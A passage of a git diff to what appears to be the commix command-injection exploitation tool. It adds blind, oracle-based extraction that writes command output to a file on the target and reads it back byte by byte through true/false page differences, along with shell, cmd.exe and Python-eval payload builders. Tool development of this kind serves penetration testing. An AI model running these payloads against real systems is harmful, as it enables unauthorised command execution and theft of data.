str(second) + ")) -eq " + str(target_value) + sum_expr = str(first) + "+" + str(second) + # Shell arithmetic expansion, the way every other shell condition in the run states its own - + # but an evaluated language does its addition bare, and '$((...))' is not its syntax at all. + if not menu.options.eval_sink: + sum_expr = "$((" + sum_expr + "))" + condition = sum_expr + " -eq " + str(target_value) payload = payloads.condition_check(separator, condition, base, http_request_method) if payload is None: return None, None @@ -191,8 +197,8 @@ def _ask(target_value): lines = ["The target must work out %d + %d and answer whether it is %d, drawn at random after the scan started." % (first, second, expected), "(the delay is the answer: held back where the product matches, returned at once where it does not.)", - "matches: %.2fs" % true_took, - "does not: %.2fs" % false_took, + "matches: %.2fs" % true_took, + "does not: %.2fs" % false_took, "(one request each, timed the way every other request in the run is.)", _cost(started, elapsed)] return carried, lines @@ -235,17 +241,19 @@ def prove(filename, url): # The URL reached at quit() carries the injection marker and whatever the WAF probe appended, so # the target reported is the one that was asked for. target = menu.options.url or url or "" - fields = [_field("Target", target)] + fields = [_field("Target", target, bullet=False)] if settings.USER_DEFINED_POST_DATA: - fields.append(_field("Data", settings.USER_DEFINED_POST_DATA)) + fields.append(_field("Data", settings.USER_DEFINED_POST_DATA, bullet=False)) if settings.TARGET_OS: platform = "Windows" if settings.TARGET_OS == settings.OS.WINDOWS else "Unix-like" if settings.TARGET_ARCH: platform += " (" + settings.TARGET_ARCH + ")" - fields.append(_field("Back-end", platform)) - fields.append(_field("Verified", time.strftime("%Y-%m-%d %H:%M:%S"))) + fields.append(_field("Back-end", platform, bullet=False)) + fields.append(_field("Verified", time.strftime("%Y-%m-%d %H:%M:%S"), bullet=False)) proven = 0 + prev_parameter = None + first_group = True for technique, vuln_parameter, http_request_method, execute_cmd, boundary in settings.PROOF_EXECUTORS: # A technique that answers in time is proved on the clock; one that carries output is proved by # what came back. @@ -255,7 +263,16 @@ def prove(filename, url): else: carried, expected, challenge = _challenge(execute_cmd, technique) proven += int(carried) - fields.append(_field("Parameter", str(vuln_parameter) + " (" + str(http_request_method) + ")")) + # One header per parameter, the same way the injection-point summary groups its own findings - + # a technique proved right after another on the same parameter does not restate it. + if not first_group: + fields.append("") + first_group = False + current_parameter = (vuln_parameter, http_request_method) + if current_parameter != prev_parameter: + from src.core.controller import checks + fields.append(checks.finding_parameter_line(str(vuln_parameter), str(http_request_method))) + prev_parameter = current_parameter fields.append(_field("Technique", _name(technique))) fields.append(_field("Challenge", challenge)) control = _control(expected) if expected else _control_timing() @@ -285,7 +302,7 @@ def prove(filename, url): header = "Could NOT prove exploitation of the reported injection point(s)" data = settings.END_LINE.LF.join(fields) - settings.print_data_to_stdout(Style.BRIGHT + header + ":" + Style.RESET_ALL + + settings.print_data_to_stdout(header + ":" + settings.END_LINE.LF + data) try: path = os.path.join(os.path.dirname(filename) or ".", "proof.txt") diff --git a/src/core/eval/grammars/python.py b/src/core/eval/grammars/python.py index fe9b6fe0a2..f01c60fd13 100644 --- a/src/core/eval/grammars/python.py +++ b/src/core/eval/grammars/python.py @@ -169,7 +169,12 @@ def delay(timesec, condition): def halt(condition): # Empty string rather than a number: the value is spliced into whatever the target was building, # and only a string leaves that expression intact for the page to render as it normally would. - return "('' if (" + condition + ") else __import__(\"sys\").exit())" + # Double-quoted like every other literal this grammar writes, and not single-quoted like the rest + # of the language's own strings would be: a boundary that never truly broke out of a surrounding + # single-quoted string still parses the two quotes right next to each other as one literal ending + # and the next beginning, so they vanish from what comes back - reading as a real answer to a + # question nothing ever executed. A double quote inside a single-quoted string is nothing to it. + return "(\"\" if (" + condition + ") else __import__(\"sys\").exit())" """ Evaluate one expression and then another, within a single expression. diff --git a/src/core/eval/payloads/tempfile_based.py b/src/core/eval/payloads/tempfile_based.py index 3e6cb05762..f923bb05b5 100644 --- a/src/core/eval/payloads/tempfile_based.py +++ b/src/core/eval/payloads/tempfile_based.py @@ -122,4 +122,53 @@ def fp_result_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_ condition = str(ascii_char) + "==" + settings.EVAL_GRAMMAR.to_number(_contents(OUTPUT_TEXTFILE)) return _conditional_sleep(condition, timesec, separator) +""" +Everything below reads the same created file back through a calibrated oracle instead of a delay - +nothing here waits, so what a condition changes is read off the page itself. The condition is put the +same way 'halt()' already puts one for this sink's own boolean-based technique: true leaves the page +as it was building, false stops it where it stood. +""" + +""" +Every boundary this sink can carry a statement on can carry this - the language answers the same +question whichever separator broke into its string. +""" +def oracle_supported(separator): + return True + +""" +Write a command's output into the created file once - nothing here asks a question, so nothing here +waits. +""" +def oracle_write(separator, cmd, OUTPUT_TEXTFILE): + return _write(cmd, OUTPUT_TEXTFILE) + _end(separator) + +""" +A question with a known answer, for telling whether this target's own oracle can tell a length that +matches from one that does not - written and read back in the one expression, since the file's +contents are not yet known to be readable at all. +""" +def oracle_decision(separator, TAG, output_length, OUTPUT_TEXTFILE, holds=True): + expected = str(output_length if holds else output_length + 1) + condition = settings.EVAL_GRAMMAR.length(_contents(OUTPUT_TEXTFILE)) + "==" + expected + payload = settings.EVAL_GRAMMAR.sequence(_write("echo " + TAG, OUTPUT_TEXTFILE), settings.EVAL_GRAMMAR.halt(condition)) + return payload + _end(separator) + +""" +How many bytes the created file holds, asked as a comparison so that it can be bisected - the file's +length rather than the command's, read without running the command again. +""" +def oracle_get_length(separator, OUTPUT_TEXTFILE, candidate_length, operator="-ge"): + condition = settings.EVAL_GRAMMAR.length(_contents(OUTPUT_TEXTFILE)) + COMPARISON.get(operator, ">=") + str(candidate_length) + return settings.EVAL_GRAMMAR.halt(condition) + _end(separator) + +""" +Whether the ordinal of the created file's Nth byte is at or above this one, which is what bisects it +- the language indexes the file's own text, so nothing here rewrites it as ordinals first. +""" +def oracle_get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, operator="-le"): + ordinal = settings.EVAL_GRAMMAR.ordinal(_contents(OUTPUT_TEXTFILE), num_of_chars - 1) + condition = str(ascii_char) + COMPARISON.get(operator, "<=") + ordinal + return settings.EVAL_GRAMMAR.halt(condition) + _end(separator) + # eof diff --git a/src/core/techniques/boolean_based/bb_handler.py b/src/core/techniques/boolean_based/bb_handler.py index 60b1a375c8..833f9e6950 100644 --- a/src/core/techniques/boolean_based/bb_handler.py +++ b/src/core/techniques/boolean_based/bb_handler.py @@ -60,6 +60,19 @@ def confirm(channel): return False return holds is True and fails is False +""" +One question, asked again once before being given up on - a page that reads as neither true nor +false is more often a transient hiccup, concurrent requests contending for the same target resource +especially, than a real absence of an answer. The same payload both times, not a freshly-built one: +rebuilding it would count as a second step to a caller that renders one dot per step, and this is +still the one step retrying. +""" +def _ask(channel, payload): + answer = channel.ask(payload) + if answer is None: + answer = channel.ask(payload) + return answer + """ The largest N the answer is still yes for, found by halving rather than by counting. """ @@ -67,7 +80,7 @@ def _bisect(channel, question, low, high): found = None while low <= high: middle = (low + high) // 2 - answer = channel.ask(question(middle)) + answer = _ask(channel, question(middle)) if answer is None: return None if answer: @@ -79,10 +92,15 @@ def _bisect(channel, question, low, high): """ How many bytes the command's output is. + +Bracketed by doubling first, rather than bisecting the whole of '--maxlen' outright: a short output +is then found in about as many questions as its own length takes to double past, not in however many +the ceiling itself would need, and what the search costs reads as the answer's own size instead of a +constant no output's length would ever explain. """ -def output_length(channel, cmd, ceiling=None): - ceiling = ceiling or settings.MAXLEN - payloads = checks.boolean_based_payloads() +def output_length(channel, cmd, ceiling=None, payloads=None): + ceiling = int(ceiling or settings.MAXLEN) + payloads = payloads or checks.boolean_based_payloads() info_msg = "Retrieving the length of execution output" info_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) @@ -92,7 +110,18 @@ def question(candidate): if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(".") return asked - length = _bisect(channel, question, 0, int(ceiling)) + low, high = 0, 1 + while high < ceiling: + answer = _ask(channel, question(high)) + if answer is None: + return "" + if not answer: + break + low = high + high *= 2 + else: + high = ceiling + length = _bisect(channel, question, low, high) if length and settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(" (done)") if length and length > 1: @@ -102,8 +131,8 @@ def question(candidate): """ One byte of the output, found by bisecting its ordinal. """ -def _byte_at(channel, cmd, position): - payloads = checks.boolean_based_payloads() +def _byte_at(channel, cmd, position, payloads=None): + payloads = payloads or checks.boolean_based_payloads() question = lambda candidate: payloads.get_char(channel.separator, cmd, position, candidate, operator="-le") return _bisect(channel, question, min(settings.CHAR_POOL_MULTI), max(settings.CHAR_POOL_MULTI)) @@ -119,32 +148,34 @@ def _byte_at(channel, cmd, position): That is what the time-related techniques cannot do: for them, overlapping requests are the measurement. """ -def retrieve(channel, cmd, length=None): - length = output_length(channel, cmd) if length is None else length - if not length: - return "" - positions = list(range(1, length + 1)) +def retrieve(channel, cmd, length=None, payloads=None): workers = settings.THREADS if (settings.THREADS > 1 and _THREADS_SUPPORTED) else 1 - base = "Retrieving the execution output" - # Worth saying here and nowhere else: every byte is a request and none of them is being timed, so - # asking for several at once costs the answer nothing - which is not true of the other blind ones. - if workers == 1 and length > 1 and not settings.BOOLEAN_THREADS_SUGGESTED: + # Said before either un-timed phase below spends a request - the length search included, not + # only the byte-by-byte one - since only there is it still useful advice. + if workers == 1 and not settings.BOOLEAN_THREADS_SUGGESTED: settings.BOOLEAN_THREADS_SUGGESTED = True info_msg = "Nothing here is timed, so '--threads' asks for several bytes at once without costing accuracy." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + length = output_length(channel, cmd, payloads=payloads) if length is None else length + if not length: + return "" + positions = list(range(1, length + 1)) + base = "Retrieving the execution output" resolved, lock = {}, threading.Lock() eta_bar = progress.ProgressBar(maxvalue=length) if menu.options.eta else None if eta_bar is None and length > 1: settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(base + ": ")) - # What has been resolved from the first byte onward - a later byte is held back until the ones - # before it are in, so the line only ever grows and never shows a hole. + # Assembled in position order once retrying is done - a position that stayed unresolved is marked + # rather than dropped, the same way the time-related techniques mark theirs: a silently shorter + # output is indistinguishable from a real value. def _so_far(): out = "" for position in positions: - if resolved.get(position) is None: + ascii_char = resolved.get(position) + if position not in resolved: break - out += chr(resolved[position]) + out += settings.UNRESOLVED_CHAR if ascii_char is None else chr(ascii_char) return out # Rendered the way the time-related techniques render theirs, and for the same reasons: a byte not @@ -174,18 +205,42 @@ def _note(): settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(base + ": " + _display())) def _resolve(position): - resolved[position] = _byte_at(channel, cmd, position) + resolved[position] = _byte_at(channel, cmd, position, payloads=payloads) _note() if workers == 1: for position in positions: _resolve(position) - if resolved[position] is None: - break else: with concurrent.futures.ThreadPoolExecutor(max_workers=min(workers, length)) as executor: list(executor.map(_resolve, positions)) + # A position with no answer is usually a transient miss - a lagging response, or one worker's + # request read as another's - so each one is asked again, alone, whether or not the first pass was + # threaded. Every position failing is a systematic failure instead, and asking the same oracle + # twice would only spend the requests again. + failed_positions = [position for position in positions if resolved.get(position) is None] + if failed_positions and len(failed_positions) < len(positions): + info_msg = "Re-attempting " + str(len(failed_positions)) + " character" + info_msg += "s"[len(failed_positions) == 1:] + " that returned no answer." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if workers == 1: + for position in failed_positions: + _resolve(position) + else: + with concurrent.futures.ThreadPoolExecutor(max_workers=min(workers, len(failed_positions))) as executor: + list(executor.map(_resolve, failed_positions)) + failed_positions = [position for position in failed_positions if resolved.get(position) is None] + + if failed_positions: + settings.INCOMPLETE_OUTPUT = True + warn_msg = str(len(failed_positions)) + " of " + str(len(positions)) + " character" + warn_msg += "s"[len(positions) == 1:] + " could not be extracted (no answer was ever read for " + warn_msg += ("them" if len(failed_positions) != 1 else "it") + ", on a second attempt either) - " + warn_msg += ("they are" if len(failed_positions) != 1 else "it is") + " marked '" + warn_msg += settings.UNRESOLVED_CHAR + "' in the retrieved output below." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + output = _so_far() if settings.VERBOSITY_LEVEL == 0: settings.close_progress_line() diff --git a/src/core/techniques/tempfile_based/tfb_handler.py b/src/core/techniques/tempfile_based/tfb_handler.py index ff2d64f1d8..adc6af8653 100755 --- a/src/core/techniques/tempfile_based/tfb_handler.py +++ b/src/core/techniques/tempfile_based/tfb_handler.py @@ -23,6 +23,187 @@ __Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive results. """ +""" +Calibrated once per confirmed boundary and kept for the rest of the run: 'None' means untried, +'False' means the target was tried and has no oracle to read the created file through, and anything +else is the channel to ask it with. +""" +_ORACLE_CHANNEL_CACHE = {} + +""" +The payload builder for whichever sink is filling the file - the shell's own on an OS command +injection, the evaluated language's grammar on a code injection - the same choice this technique's +delay-based reading already makes. +""" +def _oracle_payloads(): + return checks.tempfile_based_payloads() + +""" +Which of the oracle's shapes are worth trying. A bare exit status and a printed marker are two +different questions on a POSIX target, so both are tried in turn - but cmd.exe hands no exit status +back either way, and an evaluated language answers only by how far the page got, so trying a second, +identical shape there would just double what a failed calibration costs. +""" +def _oracle_shapes(): + if settings.TARGET_OS == settings.OS.WINDOWS or menu.options.eval_sink: + return (True,) + return (False, True) + +""" +The oracle-side payload builder, in the shape the boolean-based technique's own bisection expects - +a length and a byte, asked of the created file rather than of a re-run command. +""" +class _FileOraclePayloads(object): + def get_length(self, separator, OUTPUT_TEXTFILE, candidate_length, operator="-ge"): + return _oracle_payloads().oracle_get_length(separator, OUTPUT_TEXTFILE, candidate_length, operator) + def get_char(self, separator, OUTPUT_TEXTFILE, position, ascii_char, operator="-le"): + return _oracle_payloads().oracle_get_char(separator, OUTPUT_TEXTFILE, position, ascii_char, operator) + +_FILE_ORACLE_PAYLOADS = _FileOraclePayloads() + +""" +Whether this boundary's created file is already known to read through a calibrated oracle - settled +during detection, before enumeration ever asks the target for anything, so a caller about to start +a run of un-timed reads can say so up front rather than only once the first one is already underway. +""" +def oracle_active(url, vuln_parameter, separator): + return bool(_ORACLE_CHANNEL_CACHE.get((url, vuln_parameter, separator))) + +""" +Whether this target's own pages already tell a true answer from a false one for the created file - +learned the same way the boolean-based technique learns it for a command: two questions with known +answers, asked both ways round, each shape (a branch that says nothing, and one made to print a +marker) tried in turn. +""" +def _calibrate_file_oracle(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG): + from src.core.techniques.boolean_based import bb_handler, bb_injector + + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Trying to calibrate a boolean-based oracle for the created file." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + for printed in _oracle_shapes(): + settings.BOOLEAN_PRINTED_STATE = printed + payload_true = _oracle_payloads().oracle_decision(separator, TAG, len(TAG), OUTPUT_TEXTFILE, holds=True) + payload_false = _oracle_payloads().oracle_decision(separator, TAG, len(TAG), OUTPUT_TEXTFILE, holds=False) + if not payload_true or not payload_false: + continue + # Unresolved on the way in - like the delay-based confirmation this replaces, the parameter is + # whatever the first request lands on, discovered rather than given. + page_true, code_true, vuln_parameter, prefix, suffix = bb_injector.page_of(payload_true, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) + page_false, code_false, vuln_parameter, prefix, suffix = bb_injector.page_of(payload_false, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) + # A false answer that reads exactly like the unmodified page means the payload changed nothing + # at all, whatever the two probes look like beside each other. + if checks.comparable_page(page_false or "") == checks.comparable_page(settings.ORIGINAL_PAGE or ""): + continue + if not checks.calibrate_boolean_oracle(page_true, page_false, code_true, code_false): + continue + # Asked both ways round, because a page that says yes to anything is not answering the question. + if checks.boolean_oracle(page_true, code_true) is not True: + continue + if checks.boolean_oracle(page_false, code_false) is not False: + continue + # Asked once more, because a page that moves on its own can answer either way by itself - this + # is what tells a real branch apart from noise the diff ratio alone cannot. + again, vuln_parameter = bb_injector.answer(payload_true, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) + if again is not True: + continue + return bb_handler.Channel(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter), vuln_parameter + + settings.BOOLEAN_PRINTED_STATE = False + return None, vuln_parameter + +""" +Whether this target and this separator are ones the oracle could apply to at all - the same +restrictions the boolean-based technique places on itself, checked once before spending a request +on either confirming or reading anything through it. +""" +def _oracle_eligible(separator): + if menu.options.interpreter: + return False + return _oracle_payloads().oracle_supported(separator) + +""" +Said once for the run, whichever way calibration went - so which of the two is actually reading +the created file is never left for the output to imply. +""" +def _announce_channel(channel): + if channel and not settings.TEMPFILE_ORACLE_ANNOUNCED: + settings.TEMPFILE_ORACLE_ANNOUNCED = True + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The created file is read via a calibrated boolean-based oracle." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + elif not channel and not settings.TEMPFILE_TIME_FALLBACK_ANNOUNCED: + settings.TEMPFILE_TIME_FALLBACK_ANNOUNCED = True + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "No oracle could be calibrated; trying time-based extraction." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + +""" +The calibrated channel for this boundary and parameter, calibrating it first where nothing has +tried yet - cached by boundary, so a later call (confirming, then reading) never calibrates twice. +""" +def _channel_for(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG): + cache_key = (url, vuln_parameter, separator) + channel = _ORACLE_CHANNEL_CACHE.get(cache_key) + if channel is None and cache_key not in _ORACLE_CHANNEL_CACHE: + channel, _ = _calibrate_file_oracle(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG) + _ORACLE_CHANNEL_CACHE[cache_key] = channel + _announce_channel(channel) + return channel + +""" +Confirm this boundary through the oracle instead of a delay - the winning payload and the +parameter it landed on, so the caller can report the finding the way it already knows how to. +'None' leaves the caller to confirm it the slow way, exactly as before - the parameter is still +handed back either way, discovered here rather than given, exactly as the delay-based confirmation +this replaces already discovers it. +""" +def try_oracle_confirm(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG): + if not _oracle_eligible(separator): + return None, vuln_parameter + # Nothing asked through the oracle is timed, so it needs none of the raised timeout and the + # disabled keep-alive a request expecting a delay allows for - carried over from detection only + # because nothing has turned it off yet, and paid on every question otherwise. + previous = settings.TIME_RELATED_ATTACK + settings.TIME_RELATED_ATTACK = False + try: + channel, vuln_parameter = _calibrate_file_oracle(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG) + _announce_channel(channel) + if not channel: + return None, vuln_parameter + # Seeded here so extraction, later, finds this same channel already calibrated instead of + # calibrating a second time now that the parameter it landed on is known. + _ORACLE_CHANNEL_CACHE[(url, vuln_parameter, separator)] = channel + return _oracle_payloads().oracle_decision(separator, TAG, len(TAG), OUTPUT_TEXTFILE, holds=True), vuln_parameter + finally: + settings.TIME_RELATED_ATTACK = previous + +""" +Read a command's output off the created file through a calibrated oracle, in place of a delay - +'None' where no oracle could be calibrated for this target, which leaves the caller to fall back +to the delay-based reading this technique already does. +""" +def oracle_extract(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG, cmd): + if not _oracle_eligible(separator): + return None + previous = settings.TIME_RELATED_ATTACK + settings.TIME_RELATED_ATTACK = False + try: + channel = _channel_for(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG) + if not channel: + return None + + from src.core.techniques.boolean_based import bb_handler + from src.core.requests import requests + write_payload = _oracle_payloads().oracle_write(separator, cmd, OUTPUT_TEXTFILE) + if not write_payload: + return None + requests.perform_injection(prefix, suffix, whitespace, write_payload, vuln_parameter, http_request_method, url) + return bb_handler.retrieve(channel, OUTPUT_TEXTFILE, payloads=_FILE_ORACLE_PAYLOADS) + finally: + settings.TIME_RELATED_ATTACK = previous + """ The "tempfile-based" injection technique handler """ @@ -45,10 +226,11 @@ def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time else: injection_type = settings.INJECTION_TYPE.BLIND technique = settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED + # Read lazily by 'time_related_shell()' itself, on the first comparison that actually needs it - + # which is only ever reached once the oracle this technique tries first has failed to calibrate. + # Filled here in advance, the model would be built - and announced - whether or not it ends up + # read at all. settings.BASELINE_TARGET = (url, http_request_method) - # Taken before the technique says what it is testing, rather than in the middle of it: the model - # is what the first timing is read against, so filling it belongs with settling into '/tmp/'. - checks.warm_up_response_baseline(url, http_request_method) if tfb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) is False: settings.TIME_RELATED_ATTACK = settings.TEMPFILE_BASED_STATE = False diff --git a/src/core/techniques/tempfile_based/tfb_payloads.py b/src/core/techniques/tempfile_based/tfb_payloads.py index e47554359d..9e394e06de 100755 --- a/src/core/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/techniques/tempfile_based/tfb_payloads.py @@ -16,6 +16,7 @@ from src.utils import settings from src.core.controller import checks from src.core.techniques.time_based import tb_payloads +from src.core.techniques.boolean_based import bb_payloads """ The "tempfile-based" technique on Semiblind OS Command Injection. @@ -453,4 +454,99 @@ def fp_result_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_ return checks.sanitize_payload_newlines(payload) +""" +Everything below reads the same created file back through a calibrated oracle instead of a delay - +the file this technique already writes to and reads from, asked about the way the boolean-based +technique asks about a command's output, since a page that already tells true from false can tell +this apart for free where a delay would otherwise be paid for it. On Windows the same question is +asked the way the boolean-based technique asks a Windows target one: cmd.exe hands no exit status +back either way, so 'bb_payloads' is reused directly, pointed at 'type FILE' in place of the +command it would otherwise re-run. +""" + +""" +Whether this separator can carry a bare test the way the boolean-based technique asks one - the +same restriction that technique places on itself, for the same reason. +""" +def oracle_supported(separator): + return bb_payloads._supported(separator) and separator != "|" + +""" +Write a command's output into the created file once, flattened to one line the same way the +delay-based reading already flattens it - nothing here asks a question, so nothing here waits. +""" +def oracle_write(separator, cmd, OUTPUT_TEXTFILE): + if not oracle_supported(separator): + return "" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + return (chain + + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + windows_cmd_text(cmd) + + checks.windows_tail(chain) + ) + var = settings.RANDOM_VAR_GENERATOR + payload = (separator + + var + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + + " " + flattened_file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + separator + + "echo \"" + trimmed_output_text() + "\" >" + OUTPUT_TEXTFILE + ) + return checks.terminate_payload(payload, separator) + +""" +A question with a known answer, for telling whether this target's own oracle can tell a length +that matches from one that does not - calibration for the created file, in the same shape the +boolean-based technique calibrates itself with. +""" +def oracle_decision(separator, TAG, output_length, OUTPUT_TEXTFILE, holds=True): + if not oracle_supported(separator): + return "" + expected = output_length if holds else output_length + 1 + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is None: + return "" + # The write chained at the top level, the same as the delay-based 'decision()' above writes it - + # nested inside the probe's own quoting instead, the '&' joining it to the read would be read as + # literal text rather than as cmd.exe's own separator. + write = chain + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + return write + bb_payloads.get_length(checks.WINDOWS_CHAIN, "type " + OUTPUT_TEXTFILE, expected, "-eq") + var = settings.RANDOM_VAR_GENERATOR + payload = (separator + + var + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + var + "1=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + bb_payloads._decide(separator, str(expected) + " -eq ${#" + var + "1}") + ) + return checks.terminate_payload(payload, separator) + +""" +How many bytes the created file holds, asked as a comparison so that it can be bisected - the file's +length rather than the command's, read without running the command again. +""" +def oracle_get_length(separator, OUTPUT_TEXTFILE, candidate_length, operator="-ge"): + if not oracle_supported(separator): + return "" + if settings.TARGET_OS == settings.OS.WINDOWS: + return bb_payloads.get_length(separator, "type " + OUTPUT_TEXTFILE, candidate_length, operator) + var = settings.RANDOM_VAR_GENERATOR + payload = (separator + + var + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + bb_payloads._decide(separator, "${#" + var + "}" + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + str(candidate_length)) + ) + return checks.terminate_payload(payload, separator) + +""" +Whether the ordinal of the created file's Nth byte is at or above this one, which is what bisects it +- indexed straight off the file with 'cut', since a byte on disk needs none of the parameter- +expansion slicing a live command substitution would. On Windows the same file is re-read and sliced +in PowerShell instead, the way 'bb_payloads' already slices a re-run command's own output. +""" +def oracle_get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, operator="-le"): + if not oracle_supported(separator): + return "" + if settings.TARGET_OS == settings.OS.WINDOWS: + return bb_payloads.get_char(separator, "type " + OUTPUT_TEXTFILE, num_of_chars, ascii_char, operator) + ordinal = "$(printf '%d' \"'$(cut -c" + str(num_of_chars) + " " + OUTPUT_TEXTFILE + ")\")" + payload = separator + bb_payloads._decide(separator, str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + ordinal) + return checks.terminate_payload(payload, separator) + # eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 8c3d342383..d011a7b3e7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -80,8 +80,8 @@ class HTTPMETHOD(object): CRITICAL_SIGN = "[" + Back.RED + "critical" + Style.RESET_ALL + "] " PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] " SUB_CONTENT_SIGN = "" -SUB_CONTENT_SIGN_TYPE = "" + Style.BRIGHT + "*" + Style.RESET_ALL + " " -#SUB_CONTENT_SIGN_TYPE = "[" + Fore.LIGHTRED_EX + "*" + Style.RESET_ALL + "] " +#SUB_CONTENT_SIGN_TYPE = "" + Style.BRIGHT + "*" + Style.RESET_ALL + " " +SUB_CONTENT_SIGN_TYPE = " " TRAFFIC_SIGN = HTTP_CONTENT_SIGN = "" ABORTION_SIGN = ERROR_SIGN DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " @@ -245,8 +245,9 @@ def reset_terminal_style(): Something read off the target, written the way the summary blocks already are. No timestamp and no sign: what was retrieved is the answer, not a step towards it, and it reads -apart from the running log for that. Quoted, so a value that is empty or padded is still visible, -and fenced where it runs to more than one line rather than trailing off the first. +apart from the running log for that. Quoted, so a value that is empty or padded is still visible. +Long or multi-line content is printed as its own block right under the label, plainly - nothing here +needs a border of its own to be read correctly. """ def print_retrieved_data(label, retrieved, quoted=True): text = str(retrieved) @@ -254,16 +255,27 @@ def print_retrieved_data(label, retrieved, quoted=True): text = text[:-2] elif text.endswith(END_LINE.LF): text = text[:-1] - if END_LINE.LF in text: - # Its own lines, so the fence is all the delimiting it needs. - body = END_LINE.LF + "---" + END_LINE.LF + text + END_LINE.LF + "---" - elif len(text) > MAX_INLINE_VALUE_LENGTH: - # One line, but longer than one: fenced so it starts where the eye is, rather than trailing off - # the end of the label - still quoted, since nothing else marks where it begins and ends. - body = END_LINE.LF + "---" + END_LINE.LF + ("'" + text + "'" if quoted else text) + END_LINE.LF + "---" + if END_LINE.LF in text or len(text) > MAX_INLINE_VALUE_LENGTH: + body = END_LINE.LF + text else: body = SINGLE_WHITESPACE + ("'" + text + "'" if quoted else text) - return Style.BRIGHT + label + ":" + body + Style.RESET_ALL + return label + ":" + body + Style.RESET_ALL + +""" +A plain ASCII table - column widths taken from the widest cell each has, headers included. +""" +def render_table(headers, rows): + widths = [len(str(header)) for header in headers] + for row in rows: + for index, cell in enumerate(row): + widths[index] = max(widths[index], len(str(cell))) + border = "+" + "+".join("-" * (width + 2) for width in widths) + "+" + def _row(cells): + return "| " + " | ".join(str(cell).ljust(widths[index]) for index, cell in enumerate(cells)) + " |" + lines = [border, _row(headers), border] + lines.extend(_row(row) for row in rows) + lines.append(border) + return END_LINE.LF.join(lines) # Print output of command execution def command_execution_output(shell): @@ -284,7 +296,7 @@ def _stdout_write(data): Print data to stdout """ def print_data_to_stdout(data): - global PROGRESS_LINE_OPEN + global PROGRESS_LINE_OPEN, PROGRESS_DOT_COUNT if getattr(_threading.current_thread(), "commix_suppress_output", False): return with PRINT_LOCK: @@ -299,12 +311,23 @@ def print_data_to_stdout(data): # The marker that says a progress line is finished, which is exactly what closes it: without # that, the next line written over the top of it inherits its tail and its "(done)" with it. is_done_marker = data == " (done)" - is_spinner_style = has_cr or data == "." or is_done_marker + is_dot = data == "." + is_spinner_style = has_cr or is_dot or is_done_marker is_established_closer = data == SINGLE_WHITESPACE if is_established_closer and not PROGRESS_LINE_OPEN: return # nothing open to close - skip the cosmetic blank line + # However many requests the step behind it actually took, the dot line itself stops growing + # once it would otherwise wrap - a fresh CR-drawn line (a new "please wait", or a rewritten one + # that already renders its own bounded text) resets the count rather than inheriting it. + if is_dot: + if PROGRESS_DOT_COUNT >= MAX_PROGRESS_DOTS: + return + PROGRESS_DOT_COUNT += 1 + elif has_cr: + PROGRESS_DOT_COUNT = 0 + # Spinner continuations can append directly; other output needs a newline first. if PROGRESS_LINE_OPEN and not is_spinner_style and 